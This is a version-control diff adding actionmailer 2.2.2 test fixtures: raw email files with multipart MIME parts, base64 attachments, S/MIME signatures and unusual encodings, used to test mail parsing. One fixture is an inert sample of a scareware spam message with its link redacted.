+wxZkoGNJlVeJCEsqKA+3YAV5AMb6KkeaqEJQmFKKQU8T1pRi2ihE1Y4CDrqoYFFXYjJJOatsyzuI
+8SIlykuxKTMibWK8H1PgEvqYgs4GmQSrEjJAalgGirIhik+p4ZQN9E3ETFPAHE1b8pp1l/0Rc1gl
+fQs0ABWvyoZZzU8VnPXwVVcO9BEsyjEJaO6eBoZRyKGlrKoYoOygA8BGIzgwN3RQ15ouigG5idZQ
+fx2U4Db2CqiLO0WHAZoylGiCAqhniNQjFjQPSkmjwfNTgQ6M1Ih+eWo36wFmjIxDJZiGUBiWsAyR
+xX3EekGOizkGI96Ol9zVZTAivikURhRsHh2E3JhWMpSTZCnnonrLhMCodgrNcgo4uyJUJc6qnVss
+nrGd1Ptr0YwisCOYyIbUwVjV4xBUNLbguSO2YHujonAMJkMdSI7bIw91Akq2AUlMUWGFTMAOamjU
+OvZQCxIkY2pCpMFo/IwLdVLHs6nddwTRrgoVbvLU9eB0G4EMndV0TNoxHbt3JBWwK6hhv3iHfDtF
+yokB302IpEBTnWICde4uYc/1khDbSIkQopO6lcqamGBu1OSE3N5IPSsZX00CkSHRiiyx6HQIShsS
+HSVNswdVsaOUSAWq9aYhDtGDaoG5a3lBGkYt/lFlBFt1UqrYnzVtUpUQnLiZeouKgf1KhRBViRRk
+ExepJCzTwEmFDalIRbLEGtw0gfpESOpIAF/NnpPzcVCG86s0g2DuSyd41uhNGbEgaSrWEXORErbw
+------=_Part_2192_32400445.1115745999735--
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email4
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email4	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email4	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,59 @@
+Return-Path: <xxx at xxxx.xxx>
+Received: from xxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id 6AAEE3B4D23 for <xxx at xxxx.xxx>; Sun, 8 May 2005 12:30:23 -0500
+Received: from xxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id j48HUC213279 for <xxx at xxxx.xxx>; Sun, 8 May 2005 12:30:13 -0500
+Received: from conversion-xxx.xxxx.xxx.net by xxx.xxxx.xxx id <0IG600901LQ64I at xxx.xxxx.xxx> for <xxx at xxxx.xxx>; Sun, 8 May 2005 12:30:12 -0500
+Received: from agw1 by xxx.xxxx.xxx with ESMTP id <0IG600JFYLYCAxxx at xxxx.xxx> for <xxx at xxxx.xxx>; Sun, 8 May 2005 12:30:12 -0500
+Date: Sun, 8 May 2005 12:30:08 -0500
+From: xxx at xxxx.xxx
+To: xxx at xxxx.xxx
+Message-Id: <7864245.1115573412626.JavaMxxx at xxxx.xxx>
+Subject: Filth
+Mime-Version: 1.0
+Content-Type: multipart/mixed; boundary=mimepart_427e4cb4ca329_133ae40413c81ef
+X-Mms-Priority: 1
+X-Mms-Transaction-Id: 3198421808-0
+X-Mms-Message-Type: 0
+X-Mms-Sender-Visibility: 1
+X-Mms-Read-Reply: 1
+X-Original-To: xxx at xxxx.xxx
+X-Mms-Message-Class: 0
+X-Mms-Delivery-Report: 0
+X-Mms-Mms-Version: 16
+Delivered-To: xxx at xxxx.xxx
+X-Nokia-Ag-Version: 2.0
+
+This is a multi-part message in MIME format.
+
+--mimepart_427e4cb4ca329_133ae40413c81ef
+Content-Type: multipart/mixed; boundary=mimepart_427e4cb4cbd97_133ae40413c8217
+
+
+
+--mimepart_427e4cb4cbd97_133ae40413c8217
+Content-Type: text/plain; charset=utf-8
+Content-Transfer-Encoding: 7bit
+Content-Disposition: inline
+Content-Location: text.txt
+
+Some text
+
+--mimepart_427e4cb4cbd97_133ae40413c8217--
+
+--mimepart_427e4cb4ca329_133ae40413c81ef
+Content-Type: text/plain; charset=us-ascii
+Content-Transfer-Encoding: 7bit
+
+
+--
+This Orange Multi Media Message was sent wirefree from an Orange
+MMS phone. If you would like to reply, please text or phone the
+sender directly by using the phone number listed in the sender's
+address. To learn more about Orange's Multi Media Messaging
+Service, find us on the Web at xxx.xxxx.xxx.uk/mms
+
+
+--mimepart_427e4cb4ca329_133ae40413c81ef
+
+
+--mimepart_427e4cb4ca329_133ae40413c81ef-
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email5
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email5	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email5	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,19 @@
+Return-Path: <xxx at xxxx.xxx>
+Received: from xxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id C1B953B4CB6 for <xxxxx at Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:05 -0500
+Received: from SMS-GTYxxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id ca for <xxxxx at Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:04 -0500
+Received: from xxx.xxxx.xxx by SMS-GTYxxx.xxxx.xxx with ESMTP id j4AKR3r23323 for <xxxxx at Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:03 -0500
+Date: Tue, 10 May 2005 15:27:03 -0500
+From: xxx at xxxx.xxx
+Sender: xxx at xxxx.xxx
+To: xxxxxxxxxxx at xxxx.xxxx.xxx
+Message-Id: <xxx at xxxx.xxx>
+X-Original-To: xxxxxxxxxxx at xxxx.xxxx.xxx
+Delivered-To: xxx at xxxx.xxx
+Importance: normal
+
+Test test. Hi. Waving. m
+
+----------------------------------------------------------------
+Sent via Bell Mobility's Text Messaging service. 
+Envoyé par le service de messagerie texte de Bell Mobilité.
+----------------------------------------------------------------

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email6
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email6	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email6	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,20 @@
+Return-Path: <xxx at xxxx.xxx>
+Received: from xxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id C1B953B4CB6 for <xxxxx at Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:05 -0500
+Received: from SMS-GTYxxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id ca for <xxxxx at Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:04 -0500
+Received: from xxx.xxxx.xxx by SMS-GTYxxx.xxxx.xxx with ESMTP id j4AKR3r23323 for <xxxxx at Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:03 -0500
+Date: Tue, 10 May 2005 15:27:03 -0500
+From: xxx at xxxx.xxx
+Sender: xxx at xxxx.xxx
+To: xxxxxxxxxxx at xxxx.xxxx.xxx
+Message-Id: <xxx at xxxx.xxx>
+X-Original-To: xxxxxxxxxxx at xxxx.xxxx.xxx
+Delivered-To: xxx at xxxx.xxx
+Importance: normal
+Content-Type: text/plain; charset=us-ascii
+
+Test test. Hi. Waving. m
+
+----------------------------------------------------------------
+Sent via Bell Mobility's Text Messaging service. 
+Envoyé par le service de messagerie texte de Bell Mobilité.
+----------------------------------------------------------------

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email7
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email7	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email7	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,66 @@
+Mime-Version: 1.0 (Apple Message framework v730)
+Content-Type: multipart/mixed; boundary=Apple-Mail-13-196941151
+Message-Id: <9169D984-4E0B-45EF-82D4-8F5E53AD7012 at example.com>
+From: foo at example.com
+Subject: testing
+Date: Mon, 6 Jun 2005 22:21:22 +0200
+To: blah at example.com
+
+
+--Apple-Mail-13-196941151
+Content-Type: multipart/mixed;
+	boundary=Apple-Mail-12-196940926
+
+
+--Apple-Mail-12-196940926
+Content-Transfer-Encoding: quoted-printable
+Content-Type: text/plain;
+	charset=ISO-8859-1;
+	delsp=yes;
+	format=flowed
+
+This is the first part.
+
+--Apple-Mail-12-196940926
+Content-Transfer-Encoding: 7bit
+Content-Type: text/x-ruby-script;
+	x-unix-mode=0666;
+	name="test.rb"
+Content-Disposition: attachment;
+	filename=test.rb
+
+puts "testing, testing"
+
+--Apple-Mail-12-196940926
+Content-Transfer-Encoding: base64
+Content-Type: application/pdf;
+	x-unix-mode=0666;
+	name="test.pdf"
+Content-Disposition: inline;
+	filename=test.pdf
+
+YmxhaCBibGFoIGJsYWg=
+
+--Apple-Mail-12-196940926
+Content-Transfer-Encoding: 7bit
+Content-Type: text/plain;
+	charset=US-ASCII;
+	format=flowed
+
+
+
+--Apple-Mail-12-196940926--
+
+--Apple-Mail-13-196941151
+Content-Transfer-Encoding: base64
+Content-Type: application/pkcs7-signature;
+	name=smime.p7s
+Content-Disposition: attachment;
+	filename=smime.p7s
+
+jamisSqGSIb3DQEHAqCAMIjamisxCzAJBgUrDgMCGgUAMIAGCSqGSjamisEHAQAAoIIFSjCCBUYw
+ggQujamisQICBD++ukQwDQYJKojamisNAQEFBQAwMTELMAkGA1UEBhMCRjamisAKBgNVBAoTA1RE
+QzEUMBIGjamisxMLVERDIE9DRVMgQ0jamisNMDQwMjI5MTE1OTAxWhcNMDYwMjamisIyOTAxWjCB
+gDELMAkGA1UEjamisEsxKTAnBgNVBAoTIEjamisuIG9yZ2FuaXNhdG9yaXNrIHRpbjamisRuaW5=
+
+--Apple-Mail-13-196941151--

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email8
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email8	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email8	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,47 @@
+From xxxxxxxxx.xxxxxxx at gmail.com Sun May  8 19:07:09 2005
+Return-Path: <xxxxxxxxx.xxxxxxx at gmail.com>
+Message-ID: <e85734b90505081209eaaa17b at mail.gmail.com>
+Date: Sun, 8 May 2005 14:09:11 -0500
+From: xxxxxxxxx xxxxxxx <xxxxxxxxx.xxxxxxx at gmail.com>
+Reply-To: xxxxxxxxx xxxxxxx <xxxxxxxxx.xxxxxxx at gmail.com>
+To: xxxxx xxxx <xxxxx at xxxxxxxxx.com>
+Subject: Fwd: Signed email causes file attachments
+In-Reply-To: <F6E2D0B4-CC35-4A91-BA4C-C7C712B10C13 at mac.com>
+Mime-Version: 1.0
+Content-Type: multipart/mixed; 
+	boundary="----=_Part_5028_7368284.1115579351471"
+References: <F6E2D0B4-CC35-4A91-BA4C-C7C712B10C13 at mac.com>
+
+------=_Part_5028_7368284.1115579351471
+Content-Type: text/plain; charset=ISO-8859-1
+Content-Transfer-Encoding: quoted-printable
+Content-Disposition: inline
+
+We should not include these files or vcards as attachments.
+
+---------- Forwarded message ----------
+From: xxxxx xxxxxx <xxxxxxxx at xxx.com>
+Date: May 8, 2005 1:17 PM
+Subject: Signed email causes file attachments
+To: xxxxxxx at xxxxxxxxxx.com
+
+
+Hi,
+
+Test attachments oddly encoded with japanese charset.
+
+
+------=_Part_5028_7368284.1115579351471
+Content-Type: application/octet-stream; name*=iso-2022-jp'ja'01%20Quien%20Te%20Dij%8aat.%20Pitbull.mp3
+Content-Transfer-Encoding: base64
+Content-Disposition: attachment
+
+MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGFDCCAs0w
+ggI2oAMCAQICAw5c+TANBgkqhkiG9w0BAQQFADBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhh
+d3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVt
+YWlsIElzc3VpbmcgQ0EwHhcNMDUwMzI5MDkzOTEwWhcNMDYwMzI5MDkzOTEwWjBCMR8wHQYDVQQD
+ExZUaGF3dGUgRnJlZW1haWwgTWVtYmVyMR8wHQYJKoZIhvcNAQkBFhBzbWhhdW5jaEBtYWMuY29t
+MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAn90dPsYS3LjfMY211OSYrDQLzwNYPlAL
+7+/0XA+kdy8/rRnyEHFGwhNCDmg0B6pxC7z3xxJD/8GfCd+IYUUNUQV5m9MkxfP9pTVXZVIYLaBw
+------=_Part_5028_7368284.1115579351471--
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email9
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email9	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email9	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,28 @@
+Received: from xxx.xxx.xxx ([xxx.xxx.xxx.xxx] verified)
+  by xxx.com (CommuniGate Pro SMTP 4.2.8)
+  with SMTP id 2532598 for xxx at xxx.com; Wed, 23 Feb 2005 17:51:49 -0500
+Received-SPF: softfail
+ receiver=xxx.com; client-ip=xxx.xxx.xxx.xxx; envelope-from=xxx at xxx.xxx
+quite Delivered-To: xxx at xxx.xxx
+Received: by xxx.xxx.xxx (Wostfix, from userid xxx)
+	  id 0F87F333; Wed, 23 Feb 2005 16:16:17 -0600
+Date: Wed, 23 Feb 2005 18:20:17 -0400
+From: "xxx xxx" <xxx at xxx.xxx>
+Message-ID: <4D6AA7EB.6490534 at xxx.xxx>
+To: xxx at xxx.com
+Subject: Stop adware/spyware once and for all. 
+X-Scanned-By: MIMEDefang 2.11 (www dot roaringpenguin dot com slash mimedefang)
+
+You are infected with: 
+Ad Ware and Spy Ware
+
+Get your free scan and removal download now, 
+before it gets any worse. 
+
+http://xxx.xxx.info?aid=3D13&?stat=3D4327kdzt
+
+
+
+
+no more? (you will still be infected) 
+http://xxx.xxx.info/discon/[email protected]

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email_quoted_with_0d0a
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email_quoted_with_0d0a	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email_quoted_with_0d0a	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,14 @@
+Mime-Version: 1.0 (Apple Message framework v730)
+Message-Id: <9169D984-4E0B-45EF-82D4-8F5E53AD7012 at example.com>
+From: foo at example.com
+Subject: testing
+Date: Mon, 6 Jun 2005 22:21:22 +0200
+To: blah at example.com
+Content-Transfer-Encoding: quoted-printable
+Content-Type: text/plain
+
+A fax has arrived from remote ID ''.=0D=0A-----------------------=
+-------------------------------------=0D=0ATime: 3/9/2006 3:50:52=
+ PM=0D=0AReceived from remote ID: =0D=0AInbound user ID XXXXXXXXXX, r=
+outing code XXXXXXXXX=0D=0AResult: (0/352;0/0) Successful Send=0D=0AP=
+age record: 1 - 1=0D=0AElapsed time: 00:58 on channel 11=0D=0A

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email_with_invalid_characters_in_content_type
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email_with_invalid_characters_in_content_type	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email_with_invalid_characters_in_content_type	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,104 @@
+Return-Path: <mikel.other at baci>
+Received: from some.isp.com by baci with ESMTP id 632BD5758 for <mikel.lindsaar at baci>; Sun, 21 Oct 2007 19:38:21 +1000
+Date: Sun, 21 Oct 2007 19:38:13 +1000
+From: Mikel Lindsaar <mikel.other at baci>
+Reply-To: Mikel Lindsaar <mikel.other at baci>
+To: mikel.lindsaar at baci
+Message-Id: <009601c813c6$19df3510$0437d30a at mikel091a>
+Subject: Testing outlook
+Mime-Version: 1.0
+Content-Type: multipart/alternative; boundary=----=_NextPart_000_0093_01C81419.EB75E850
+Delivered-To: mikel.lindsaar at baci
+X-Mimeole: Produced By Microsoft MimeOLE V6.00.2900.3138
+X-Msmail-Priority: Normal
+
+This is a multi-part message in MIME format.
+
+
+------=_NextPart_000_0093_01C81419.EB75E850
+Content-Type: text/plain; charset=iso-8859-1
+Content-Transfer-Encoding: Quoted-printable
+
+Hello
+This is an outlook test
+
+So there.
+
+Me.
+
+------=_NextPart_000_0093_01C81419.EB75E850
+Content-Type: text/html; charset=iso-8859-1
+Content-Transfer-Encoding: Quoted-printable
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<HTML><HEAD>
+<META http-equiv=3DContent-Type content=3D"text/html; =
+charset=3Diso-8859-1">
+<META content=3D"MSHTML 6.00.6000.16525" name=3DGENERATOR>
+<STYLE></STYLE>
+</HEAD>
+<BODY bgColor=3D#ffffff>
+<DIV><FONT face=3DArial size=3D2>Hello</FONT></DIV>
+<DIV><FONT face=3DArial size=3D2><STRONG>This is an outlook=20
+test</STRONG></FONT></DIV>
+<DIV><FONT face=3DArial size=3D2><STRONG></STRONG></FONT>&nbsp;</DIV>
+<DIV><FONT face=3DArial size=3D2><STRONG>So there.</STRONG></FONT></DIV>
+<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
+<DIV><FONT face=3DArial size=3D2>Me.</FONT></DIV></BODY></HTML>
+
+
+------=_NextPart_000_0093_01C81419.EB75E850--
+
+
+Return-Path: <mikel.other at baci>
+Received: from some.isp.com by baci with ESMTP id 632BD5758 for <mikel.lindsaar at baci>; Sun, 21 Oct 2007 19:38:21 +1000
+Date: Sun, 21 Oct 2007 19:38:13 +1000
+From: Mikel Lindsaar <mikel.other at baci>
+Reply-To: Mikel Lindsaar <mikel.other at baci>
+To: mikel.lindsaar at baci
+Message-Id: <009601c813c6$19df3510$0437d30a at mikel091a>
+Subject: Testing outlook
+Mime-Version: 1.0
+Content-Type: multipart/alternative; boundary=----=_NextPart_000_0093_01C81419.EB75E850
+Delivered-To: mikel.lindsaar at baci
+X-Mimeole: Produced By Microsoft MimeOLE V6.00.2900.3138
+X-Msmail-Priority: Normal
+
+This is a multi-part message in MIME format.
+
+
+------=_NextPart_000_0093_01C81419.EB75E850
+Content-Type: text/plain; charset=iso-8859-1
+Content-Transfer-Encoding: Quoted-printable
+
+Hello
+This is an outlook test
+
+So there.
+
+Me.
+
+------=_NextPart_000_0093_01C81419.EB75E850
+Content-Type: text/html; charset=iso-8859-1
+Content-Transfer-Encoding: Quoted-printable
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<HTML><HEAD>
+<META http-equiv=3DContent-Type content=3D"text/html; =
+charset=3Diso-8859-1">
+<META content=3D"MSHTML 6.00.6000.16525" name=3DGENERATOR>
+<STYLE></STYLE>
+</HEAD>
+<BODY bgColor=3D#ffffff>
+<DIV><FONT face=3DArial size=3D2>Hello</FONT></DIV>
+<DIV><FONT face=3DArial size=3D2><STRONG>This is an outlook=20
+test</STRONG></FONT></DIV>
+<DIV><FONT face=3DArial size=3D2><STRONG></STRONG></FONT>&nbsp;</DIV>
+<DIV><FONT face=3DArial size=3D2><STRONG>So there.</STRONG></FONT></DIV>
+<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
+<DIV><FONT face=3DArial size=3D2>Me.</FONT></DIV></BODY></HTML>
+
+
+------=_NextPart_000_0093_01C81419.EB75E850--
+
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email_with_nested_attachment
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email_with_nested_attachment	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email_with_nested_attachment	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,100 @@
+From jamis at 37signals.com Thu Feb 22 11:20:31 2007
+Mime-Version: 1.0 (Apple Message framework v752.3)
+Message-Id: <2CCE0408-10C7-4045-9B16-A1C11C31469B at 37signals.com>
+Content-Type: multipart/signed;
+	micalg=sha1;
+	boundary=Apple-Mail-42-587703407;
+	protocol="application/pkcs7-signature"
+To: Jamis Buck <jamis at jamisbuck.org>
+Subject: Testing attachments
+From: Jamis Buck <jamis at 37signals.com>
+Date: Thu, 22 Feb 2007 11:20:31 -0700
+
+
+--Apple-Mail-42-587703407
+Content-Type: multipart/mixed;
+	boundary=Apple-Mail-41-587703287
+
+
+--Apple-Mail-41-587703287
+Content-Transfer-Encoding: 7bit
+Content-Type: text/plain;
+	charset=US-ASCII;
+	format=flowed
+
+Here is a test of an attachment via email.
+
+- Jamis
+
+
+--Apple-Mail-41-587703287
+Content-Transfer-Encoding: base64
+Content-Type: image/png;
+	x-unix-mode=0644;
+	name=byo-ror-cover.png
+Content-Disposition: inline;
+	filename=truncated.png
+
+iVBORw0KGgoAAAANSUhEUgAAAKUAAADXCAYAAAB7wZEQAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz
+AAALEgAACxIB0t1+/AAAABd0RVh0Q3JlYXRpb24gVGltZQAxLzI1LzIwMDeD9CJVAAAAGHRFWHRT
+b2Z0d2FyZQBBZG9iZSBGaXJld29ya3NPsx9OAAAyBWlUWHRYTUw6Y29tLmFkb2JlLnhtcDw/eHBh
+Y2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+Cjx4OnhtcG1l
+dGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDQuMS1j
+MDIwIDEuMjU1NzE2LCBUdWUgT2N0IDEwIDIwMDYgMjM6MTY6MzQiPgogICA8cmRmOlJERiB4bWxu
+czpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPgogICAg
+ICA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIgogICAgICAgICAgICB4bWxuczp4YXA9Imh0
+dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iPgogICAgICAgICA8eGFwOkNyZWF0b3JUb29sPkFk
+b2JlIEZpcmV3b3JrcyBDUzM8L3hhcDpDcmVhdG9yVG9vbD4KICAgICAgICAgPHhhcDpDcmVhdGVE
+YXRlPjIwMDctMDEtMjVUMDU6Mjg6MjFaPC94YXA6Q3JlYXRlRGF0ZT4KICAgICAgICAgPHhhcDpN
+b2RpZnlEYXRlPjIwMDctMDEtMjVUMDU6Mjg6MjFaPC94YXA6TW9kaWZ5RGF0ZT4KICAgICAgPC9y
+ZGY6RGVzY3JpcHRpb24+CiAgICAgIDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiCiAgICAg
+ICAgICAgIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyI+CiAgICAg
+ICAgIDxkYzpmb3JtYXQ+aW1hZ2UvcG5nPC9kYzpmb3JtYXQ+CiAgICAgIDwvcmRmOkRlc2NyaXB0
+hhojpmnJMfaYFmSkXWg5PGCmHXVj/c9At0hSK2xGdd8F3muk0VFjb4f5Ue0ksQ8qAcq0delaXhdb
+DjKNnF+3B3t9kObZYmk7AZgWYqO9anpR3wpM9sQ5XslB9a+kWyTtNb0fOmudzGHfPFBQDKesyycm
+DBL7Cw5bXjIEuci+SSOm/LYnXDZu6iuPEj8lYBb+OU8xx1f9m+e5rhJiYKqjo5vHfiZp+VUkW9xc
+Ufd6JHNWc47PkQqb9ie3SLEZB/ZqyAssiqURY+G35iOMZUrHbasHnb80QAPv9FHtAbJIyro7bi5b
+ai2TEAKen5+LJNWrglZjm3UbZvt7KryA2J5b5J1jZF8kL6GzvG1Zqx54Y1y7J7n20wMOt9frG2sW
+uwGP07kNz3732vf6bfvAvLldfS+9fts2euXY37D+R29FGZdlnhzV4TTFmPJduBP2RbNNua4rTqcT
+Qt7Xy1KUB0AHSdP5AZQYvHZg7WD1XvYeMO1A9HhZPqMX5KXbMBrn2efxns/ee21674efxz4Tp/fq
+2HZ648dgYaC1i3Vq1IbNPq3PvDTPezY9FaRISjvnzWqdgcWN8EJgjnNq+Z7ktOm9l2Nfth28EZi4
+bG/we5JwxM+Tql47/D/X6b38I8/RyxvxPJrX6zvQbo3h9jyJx+C0ALX327QETHl5eYlaYCT5rPTb
++5/rAq26t3lKIxV/p88hq6ptngdgCzoPjJqndiLfc/6y5A14WeDFGNPct4iUsJBV2bYzLEV7m83s
+6Rp63VPhHKC/g/LzaU9qexJRr56043JWinqAtfZqsSm1sjoznthl54dtCqv+uL4nIY+oYWuc3+nH
+kGfn8b0HQpvOYLQAZUDanbJs3jQhITZEgdarZK+cO6ySlL13rut5nFaN23s7u3Snz6eRPTkCoc2/
+Vp1zHfZVFpZ87FiMVLV1iqyK5rlzfji2GzjfDsodlD+Weo5UD4h6PwKqzQMqID0tq2VjjFVSMpis
+ZLRAs7sePZBZAHI+gIanB8I7MD+femAceeUe2Kxa5jS950kZ1p5eNEdeX1+jFmSpZ+1EdWCsDcne
+NPNgUHNw3aYpnzv9PGTX0uo94EtN9qq1rOdxe3kc79T8ukeHJJ8Fnxej6qlylbLLsjQLOy6Xy2a1
+kefs/N+nM7+S7IG5/E5Yc7F003pWErLjbH0O5cGadiMptSB/DZ5U5DI9yeg5MFYyMj8lC/Y7/Xjq
+OZlWcnpg9aQfXz2HRq+Wn5xOp6gN8tWq8R44e2pfyzLYemEgprst+XXk2Zj2nXlbsG05BprndTMv
+C3QRaXczshhVsHnMgfYn80Y2g5JureA6wBasPeP7LkE/jvZMJAaf/g/U2RelHsisvan5FqweIAHg
+Pwc7L68GxvVDAAAAAElFTkSuQmCC
+
+--Apple-Mail-41-587703287--
+
+--Apple-Mail-42-587703407
+Content-Transfer-Encoding: base64
+Content-Type: application/pkcs7-signature;
+	name=smime.p7s
+Content-Disposition: attachment;
+	filename=smime.p7s
+
+MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGJzCCAuAw
+ggJJoAMCAQICEFjnFNYXwDEZRWY5EkfzopUwDQYJKoZIhvcNAQEFBQAwYjELMAkGA1UEBhMCWkEx
+JTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQ
+ZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBMB4XDTA2MDkxMjE3MDExMloXDTA3MDkxMjE3MDEx
+MlowRTEfMB0GA1UEAxMWVGhhd3RlIEZyZWVtYWlsIE1lbWJlcjEiMCAGCSqGSIb3DQEJARYTamFt
+aXNAMzdzaWduYWxzLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAO2A9JeOFIFJ
+G6z8pTcAldrZ2nMe+Xb1tNrbHgoVzN/QhHXM4qst2Ml93cmFLjMmwG7P9RJeU4oNx+jTqVoBB7NV
+Ne1/o56Do0KhfMZ9iUDQdPLbkZMq4EEpFMdm6PyM3muRKwPhj66iAWe/osCb8DowUK2f66vaRx0Z
+Y0MQHIIrXE02Ta4IfAhIfPqBLkZ4WgTYBHN9vMdYea1jF0GO4gqGk1wqwb3yxv2QMYMbwJ6SI+k/
+ZjkSR/OilTCBhwYLKoZIhvcNAQkQAgsxeKB2MGIxCzAJBgNVBAYTAlpBMSUwIwYDVQQKExxUaGF3
+dGUgQ29uc3VsdGluZyAoUHR5KSBMdGQuMSwwKgYDVQQDEyNUaGF3dGUgUGVyc29uYWwgRnJlZW1h
+aWwgSXNzdWluZyBDQQIQWOcU1hfAMRlFZjkSR/OilTANBgkqhkiG9w0BAQEFAASCAQCfwQiC3v6/
+yleRDGv3bJ4nQYQ+c3mz3+mn3Xi6uU35n3piwxZZaWRdmLyiXPvU+QReHpSf3l2qsEZM3sdE0XF9
+eRul/+QTFJcDNXOEAxG1zC2Gpz+6c6RrX4Ou12Pwkp+pNrZWTSY/mZgdqcArupOBcZi7qBjoWcy5
+wb54dfvSSjrjmqLbkH/E8ww/6gGQuU/xXpAUZgUrTmQHrNKeIdSh5oDkOxFaFWvnmb8Z/2ixKqW/
+Ux6WqamyvBtTs/5YBEtnpZOk+uVoscYEUBhU+DVJ2OSvTdXSivMtBdXmGTsG22k+P1NGUHi/A7ev
+xPaO0uk4V8xyjNlN4HPuGpkrlXwPAAAAAAAA
+
+--Apple-Mail-42-587703407--

